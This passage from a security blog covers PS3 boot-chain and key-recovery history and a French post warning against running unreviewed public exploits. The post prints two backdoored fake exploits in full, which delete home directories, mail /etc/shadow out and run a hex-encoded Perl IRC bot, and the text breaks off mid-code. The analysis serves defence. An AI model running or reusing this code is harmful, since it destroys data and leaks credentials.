Hello,
Let's go on for PS3 Hacking part 2 :).
FAQ! Frequently Asked Questions
Why do everybody want the lv0 keys so badly even though they might not know how to use them?
WAREZ ... WAREZ ... EVEN MORE WAREZ ...
Homebrew has been attain with firmware <= 3.55 ... so heh ;).
Personnaly, I'm not interested in CFW ... more interested in the technical details than anything else here :).
Why nobody want to release the lv0 keys?
Really you're asking this question? ... Reread first question ... and look at geohot's legals problems back in January ;).
Basically, you released these keys and Sony will sue you to death ... :s.
Huh ok ... how does having lv0 keys allow us to have custom firmwares if we don't have actual loaders private keys (for signing)?
As waninkoko explained, we don't need the ldr private keys (as long as we have the earliest ldr keys ;)).
We decrypt everything using the first loader key (either metldr < 3.60 or lv0 >= 3.60), make the wanted modifications. Afterward, we can change all the public keys (and thus we would have our private keys), re-encrypt them all. Done you've got a custom firmware.
Waninkoko Speaks About Creating v3.61 CFW
How do they disallow homebrew on newer firmwares then if we can still sign it and that they can't revoke the keys?
They make use of whitelisting. They reference each and every games that were made for the PS3 ... any games not in there will not get launched.
Here a place where they speak about PS3 whitelisting: http://psx-scene.com/forums/f118/application-whitelist-96728/
For an explanation of what are the differences of whitelisting and blacklisting here: Whitelisting vs. Blacklisting
Moreover, they can change most keys they want on the latest hardware revisions. But since the update file "has to be" compatible with older hardware ... any currently manufactured hardware could be theoretically pawned.
For people wondering why the PS3 can not be totally resecured
Mathieulh's thoughts on resecuring the PS3: PS3 3.56 Firmware A Minor Drawback To Hackers .
Basically, the problem Sony encounter while trying to resecure the PS3: compatibility.
The boot chain integrity has been compromised so possibility to reflash externally in order to run unsigned code.
They could try to have 2 files for updates:
- 1 file for the old consoles
- 1 file for the new consoles
Would it be a possibility to "resecure" the PS3? Maybe ... who knows?
If that is the case, only the new PS3 (changed keys, changed hardware revision, etc) would be secured again. Old console ... no way.
(to be continued ...)
That's it for now,
You've got everything needed to understand PS3 actual pawning state ;),
Cheers,
m_101
mercredi 16 novembre 2011
PS3 Hacking (Part 1) - Exploitation
Hello,
It's been a long time since the last time I posted :), I miss hacking bits and binaries ... but well, I read a bit for relaxing ... here it is :).
Anyway, I've been reading about PS3 a bit and it's funny to see that not a single PS3 specialized news site has been able to correctly understand the exploits they publish on a regular basis.
I have not tried to hack the PS3 yet, just reading documentation on it just out of curiosity so if any info here is wrong, do not hesitate to correct me in the comments ;). I will gladly fix any errors :).
Let's start with a bit of history.
PS3 hacking history
The PS3 got out for general consumption in 2006, but wait wait wait ... wtf is that secure system? Oh yeees! Linux compatible!
2007 ... 2008 ... 2009 ... nothing until ... 2010.
In 2010, GeoHot just played a bit with it to see what the security of the PS3 is worth ... and he managed to bypass the hypervisor and dump it using a hardware glitch trick (used for analyzing smartcards) and some virtual page management trickery (playing with HTAB and all ;).
He did it for fun ... Sony did not like it: OtherOS banned from the console!!!
Here within started the PS3 epic fail story ^^. They shouldn't have taken out OtherOS ...
Basically:
GeoHot's glitch exploit -> PSJailbreak 1 -> fail0verfl0w key calculation hack (Sony Epic Fail) -> metldr keys dumped by GeoHot -> ???
The metldr key basically allows to decrypt all ldr.
Before going into the boot order (and explain what the metldr keys fuss was all about), let's review basics of the PS3 crypto.
PS3 Cryptography 101
All the PS3 crypto is done in "isolation" using the CELL CPU as explained here: The Cell Broadband Engine processor security architecture .
The PS3 make use of AES256CBC, AES128CTR for encryption and decryption.
For the signatures, it makes use of HMAC-SHA1 and ECDSA.
Sony managed to do an EPIC FAIL yes.
Basically in Sony's ECDSA implementation, fail0verfl0w managed to find a flaw that allowed to compute private keys using simple algebra.
Instead of using a random k, Sony used a constant ...
If k is not random, we have this equation:
s − s' = k − 1(z − z')
Then we can compute k:

Since we have k, we can compute the private key dA:

For more details: PS3 Epic Fail . Their presentation is quite interesting as it includes history of past hacks, how the SELF crypto" works and how to compute PS3 private keys (for <= 3.55) :).
For SELF file format understanding: SELF File Format and Decryption and PS3 Epic Fail .
Reminder for ECDSA: ECDSA .
So yeah basically, all the current hacks are first based off on GeoHot's and fail0verfl0w stuffs (seems like they did not get the credit they deserved).
Now that you have the background for the crypto" and the SELF file format, let's go on with the boot order :).
Boot Order
Every steps of the PS3 is encrypted (but the first step obviously).
My theory is that the first thing that decrypt the first loader is in plaintext either in software or hardware ... you can not run encrypted code directly, you first need to decrypt it ;). Thus the best place to hide this thing would be the CPU itself (if you store it in a chip on the motherboard ... game over). Unless you have some hardcore silicon hacking lab at disposal ... even you if you do.
Prove me wrong (that encrypted code can run directly on a CPU without decryption ...) ...
The boot order before 3.60:
syscon -> bootldr -> lv0 -> metldr -> lv1ldr -> lv1 -> metldr -> lv2ldr -> lv2 -> metldr -> appldr -> metldr -> isoldr -> metldr -> rvkldr
The bootldr and metldr are encrypted by a Hardware Key which is defined by console (that is one of the reason they can not be updated).
The metldr keys released by GeoHot basically allows us to decrypt all the ldrs, re-encrypt them and thus bypass any security measure.
The earlier you are in the chain, the more steps you control since all the afterhand ldr depends on previous ldrs.
The boot order after 3.60:
Damn, they changed the boot order a little bit (which makes a huge difference :p).
They "suppressed" metldr and replaced it by lv0.
lv0 now serve as the metaloader. Obviously the clever thing to do (from an engineering standpoint) is to reuse some of the metldr code and change the keys (we don't know if they did that as of now).
They could not update the metldr ... but since lv0 is updatable and run before metldr ... they removed metldr.
lv0 and below have not yet been exploited (publicly).
As soon as these get exploited (we get lv0 keys) then game over for real for the PS3.
The bootldr can not be updated and below it ... you can not update anything either (without breaking compatibility).
Theoretically, we could get lv0 private keys as old consoles were produced when Sony used their failed crypto :) (look in Mathieulh's tips section below ;)).
PS3DevWiki - Boot Order
As you can see, we have a chain of trust, so if you compromise a loader in the chain, you possibly compromised the rest of the chain ;).
Okay, let's talk about the current exploits.
Exploited vulnerabilities that would kill the Sony PS3
Before trying anything, to be on the safe side, be sure to have: Hardware Flashing in case you mess up anything that can be recovered ;).
You WILL end up with a BRICK if you are not careful and do not know what you are doing.
Mathieulh's leaked metldr exploit
Mathieulh's technical explanation of the leaked metldr exploit: How to pwn metldr the "easy" way .
More info on dumping metldr: here.
Mathieulh's tips and/or clues
He gave us many tips so people start looking: Stop bitching and whining .
"If you can exploit loaders, you can patch them on the fly and remove the signature checks, on the other hand of you dump the bootloader keys, you can also calculate the private key for lv0."
"The bootloader cannot be updated, as such the bootloader keys that decrypt lv0 cannot be changed on existing consoles, thus they remain the same since 1.00"
"The metldr keys aren’t the keys that sign metldr, they are the keys that are stored within metldr’s binary."
"In fact metldr and the bootloader aren’t selfs, as such they are signed and encrypted with different algorithms than the rest of the ps3 binaries."
Decrypt Or Dump LV0 For 3.60 CFW+ Exploit – Mathieulh
Mathieulh give hints to exploiting v3.60, talks about graf_chokolo, and Rebug
The bootloader can be reloaded multiple times: @fail0verflow I don't really care about the ps3 anymore anyway. Here is a protip before I am gone, you can load the bl more than once.
He exploited this glitch : CELL Reset Exploit as he expressly say here: Mathieul's tweet .
Dumps screenshot
About EID: EID IS NOT CODE
Other clues
RMS spoke a bit about lv0: here.
“Exploiting” firmware v3.60 (or 3.56) yourself using leaked blueprints
How to find v3.60+ Keys By SouL & DemonHades
Until someone has the balls or is crazy enough to release the exploit, obtained keys ...
And ... fail0verfl0w are coming back for 28c3 in December this year: here. We'll see what they prepared for us ;).
Just so we are clear: it mainly concerns currently released PS3, Sony is capable to release new hardware revisions that would change any keys they want. They don't do it since they release only one firmware update (so this file has to be compatible with old PS3 and new PS3).
Summary
Ok now you should have a better idea as where the current state of PS3 hacking is.
lv0 is the target, multiple clues have been given. Now more knowledge is needed to dig into it ;).
If you get lv0 keys (private and public) then it means you're also able to get it's keys. So you'll be able to sign a custom lv0 and thus execute code to go deeper and find holes.
The thing is: lv0 is so low level that ... you could brick your PS3 easily with any mistake(s) you make :s.
Anyway, I don't see the purpose of the CFW 3.60+ as we already have CFW for 3.55 => homebrew is there to stay. If people want the CFW 3.56+ so badly it's for warez ...
(to be continued ...)
m_101
samedi 23 juillet 2011
De l'importance de vérifier les exploits
Bonjour,
Aujourd'hui nous allons voir l'importance de ne pas lancer des exploits publics publiés sur exploit-db, full disclosure ou autre sans analyser la payload qui va avec.
Nombre de personnes (souvent des script kiddies), utilisent des exploits sans faire d'effort de relecture du code. En utilisant ces exploits, ils se font souvent poutré sans même le savoir :).
Le but de cet article va donc de vous montrer les dangers liés à l'exécution d'exploit sans vérification préalable. Ca permet aussi de répondre à la question: "l'ASM et la programmation ça sert à quoi pour un pentester/professionnel de la sécurité?".
IIS 6 Remote Buffer Overflow Exploit
Il y a d'autres perles du même genre comme un "exploit" sur IIS "releasé" y'a quelques années: IIS 6 Remote Buffer Overflow Exploit
.
Le sploit ressemble à ça:
Trop fort! Le gars balance 3 system() et il veut nous faire croire que ça exploit un overflow?
(Et surtout vu la taille des "shellcodes" ... trop petit pour faire quoique ce soit d'intéressant sous Windows).
En se penchant rapidement sur la chose:
Magnifique non? Vous venez de détruire vos données et de leaker des infos (sous conditions que vous soyez logguez avec les privilèges qu'il faut ;)).
Bon c'était pas trop crédible au vu du code ...
Un connu et plus crédible.
Le fameux "0day" OpenSSH 5.2
Un beau jour durant lequel je fais mon habituel checking des news ... je tombe sur une news énormissime: il y aurait un 0day SSH en circulation Oo.
C'était après la NDH2009 (donc à mes débuts plus ou moins ;)).
Quelques jour après, on a droit à ce code qui est posté sur plusieurs mailings lists:
Le sploit a l'air "légitime" au premier abord mais je n'avais jamais mais alors jamais vu un shellcode aussi énorme ... de plus ça vient d'un groupe pronant l'anti-sec. De quoi ne pas faire confiance ... :).
Le "jmpcode":
Le "shellcode":
Et le "shellcode FreeBSD":
Eh oui, 2 beaux scripts Perl qui vont vous connecter à une chan IRC ...
Par contre, je ne vois pas du tout comment ils le lancent leur script PERL, pas d'execve(), pas de system() ... si quelqu'un peut répondre à cette question ça serait cool :).
Et on va finir par le plus "stealth" :).
BIND TSIG buffer overflow
Il y a quelques années de ça déjà (2001!!), un remote BOF sur BIND (donc assez critique) apparait sur les mailings lists: BIND TSIG buffer overflow .
Le pire dans l'histoire c'est que c'est un vrai sploit :). L'analyse par l'équipe Metasploit: Penetration Testing: Learn Assembly?, montre tout de même que le bouzin est backdooré.
Déjà là où on peut tilter c'est la taille de la payload ... 190 bytes! Enorme pour une payload connectback Linux. De mes souvenirs ça tiens plutôt entre 90-128 bytes mais pas 190 ...
Le code ASM analysé (et parfaitement assemblable avec NASM ;)):
On finit par avoir quelque chose qui ressemble à ça:
le 127.0.0.1 est modifié dans le code du sploit.
Mais wahou, ... la machine attaquée se connecte à l'auteur et lui envoie quelques infos (comme l'ip de l'attaquant).
Bonne manière de tracer les kikoos qui vont s'aventurer à lancer le sploit ... par contre pas trop éthique je pense ;).
Conclusion
Ce sont de vieuxs "exploits" mais ils illustrent parfaitement l'importance de l'analyse du code et de la "décortication" de binaires, exploits, shellcodes, etc.
Avoir des tools d'analyse performants et efficaces est une gageure donc assez majeure dans le domaine de l'informatique. Sans tools, on fait pas grand choses ... mais ne vous fiez pas que à vos tools ;).
J'espère que ça vous a ouvert un minimum les yeuxs ;). Quand c'est trop beau pour être vrai, faut se poser des questions après tout.
Cet article pourrait également donner des idées à certains pour "poutrer" les scripts kiddies et empêcher qu'ils fassent des dégâts. Je ne saurais trop le conseiller ... ce n'est pas éthique et non légal de le faire. Donc à vos risques et périls.
Vous pourriez par contre toujours afficher un dialog box: "Get lost" ;).
Au passage, si vous trouvez des "fake sploits", n'hésitez pas à me faire signe. De plus ça pourrait être intéressant de constituer une base de données les repertoriants.
Sur ce,
A la prochaine pour de nouvelles aventures,
m_101
Aujourd'hui nous allons voir l'importance de ne pas lancer des exploits publics publiés sur exploit-db, full disclosure ou autre sans analyser la payload qui va avec.
Nombre de personnes (souvent des script kiddies), utilisent des exploits sans faire d'effort de relecture du code. En utilisant ces exploits, ils se font souvent poutré sans même le savoir :).
Le but de cet article va donc de vous montrer les dangers liés à l'exécution d'exploit sans vérification préalable. Ca permet aussi de répondre à la question: "l'ASM et la programmation ça sert à quoi pour un pentester/professionnel de la sécurité?".
IIS 6 Remote Buffer Overflow Exploit
Il y a d'autres perles du même genre comme un "exploit" sur IIS "releasé" y'a quelques années: IIS 6 Remote Buffer Overflow Exploit
.
Le sploit ressemble à ça:
char shellcode[] =
"\x2f\x62\x69\x6e\x2f\x72\x6d\x20"
"\x2d\x72\x66\x20\x2f\x68\x6f\x6d"
"\x65\x2f\x2a\x3b\x63\x6c\x65\x61"
"\x72\x3b\x65\x63\x68\x6f\x20\x62"
"\x6c\x34\x63\x6b\x68\x34\x74\x2c"
"\x68\x65\x68\x65";
char launcher [] =
"\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x7c\x6d\x61\x69"
"\x6c\x20\x66\x75\x6c\x6c\x2d\x64\x69"
"\x73\x63\x6c\x6f\x73\x75\x72\x65\x40"
"\x6c\x69\x73\x74\x73\x2e\x67\x72\x6f\x6b"
"\x2e\x6f\x72\x67\x2e\x75\x6b\x20";
char netcat_shell [] =
"\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70"
"\x61\x73\x73\x77\x64\x20\x7c\x6d\x61\x69"
"\x6c\x20\x66\x75\x6c\x6c\x2d\x64\x69"
"\x73\x63\x6c\x6f\x73\x75\x72\x65\x40"
"\x6c\x69\x73\x74\x73\x2e\x67\x72\x6f\x6b"
"\x2e\x6f\x72\x67\x2e\x75\x6b\x20";
main()
{
//Section Initialises designs implemented by mexicans
//Imigrate
system(launcher);
system(netcat_shell);
system(shellcode);
//int socket = 0;
//double long port = 0.0;
//#DEFINE port host address
//#DEFINE number of inters
//#DEFINE gull eeuEE
// for(int j; j < 30; j++)
{
//Find socket remote address fault
printf(".");
}
//overtake inetinfo here IIS_666666^
return 0;
}Trop fort! Le gars balance 3 system() et il veut nous faire croire que ça exploit un overflow?
(Et surtout vu la taille des "shellcodes" ... trop petit pour faire quoique ce soit d'intéressant sous Windows).
En se penchant rapidement sur la chose:
shellcode = "/bin/rm -rf /home/*;clear;echo bl4ckh4t,hehe" launcher = "cat /etc/shadow |mail full-disclosure@lists.grok.org.uk" netcat_shell = "cat /etc/passwd |mail full-disclosure@lists.grok.org.uk"
Magnifique non? Vous venez de détruire vos données et de leaker des infos (sous conditions que vous soyez logguez avec les privilèges qu'il faut ;)).
Bon c'était pas trop crédible au vu du code ...
Un connu et plus crédible.
Le fameux "0day" OpenSSH 5.2
Un beau jour durant lequel je fais mon habituel checking des news ... je tombe sur une news énormissime: il y aurait un 0day SSH en circulation Oo.
C'était après la NDH2009 (donc à mes débuts plus ou moins ;)).
Quelques jour après, on a droit à ce code qui est posté sur plusieurs mailings lists:
/* 0pen0wn.c by anti-sec group * --------------------------- * OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT. * * * Takes advantage of an off-by-one * bug in mapped authentication space on system */ #include#include #include #include #include #include #include #include #include #include #define VALID_RANGE 0xb44ffe00 #define build_frem(x,y,a,b,c) a##c##a##x##y##b char jmpcode[] = "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f" "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26"; char shellcode[] = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79" "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22" "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63" "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79" "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22" "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63" "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79" "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22" "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63" "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d" "\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f" "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"; char fbsd_shellcode[] = "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22" "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63" "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79" "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79" "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22" "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63" "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d" "\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f" "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79" "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" "\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70" "\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b" "\x2f\x74\x6d\x70\x2f\x68\x69\x0a"; #define SIZE 0xffffff #define OFFSET 131 #define fremote build_frem(t,e,s,m,y) void usage(char *arg){ printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n"); printf(" Usage: %s -h -p port\n",arg); printf(" Options:\n"); printf(" \t-h ip/host of target\n"); printf(" \t-p port\n"); printf(" \t-d username\n"); printf(" \t-B memory_limit 8/16/64\n\n\n"); } #define FD 0×080518fc #define BD 0×08082000 int main(int argc, char **argv){ FILE *jmpinst; char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr; int port=23, limit=8, target=0, sock; struct hostent *host; struct sockaddr_in addr; if (geteuid()) { puts("need root for raw socket, etc..."); return 1; } if(argc < 3) { usage(argv[0]); return 1; } printf("\n [+] 0wn0wn - by anti-sec group\n"); if (!inet_aton(h, &addr.sin_addr)) { host = gethostbyname(h); if (!host) { printf(" [-] Resolving failed\n"); return 1; } addr.sin_addr = *(struct in_addr*)host->h_addr; } sock = socket(PF_INET, SOCK_STREAM, 0); addr.sin_port = htons(port); addr.sin_family = AF_INET; if 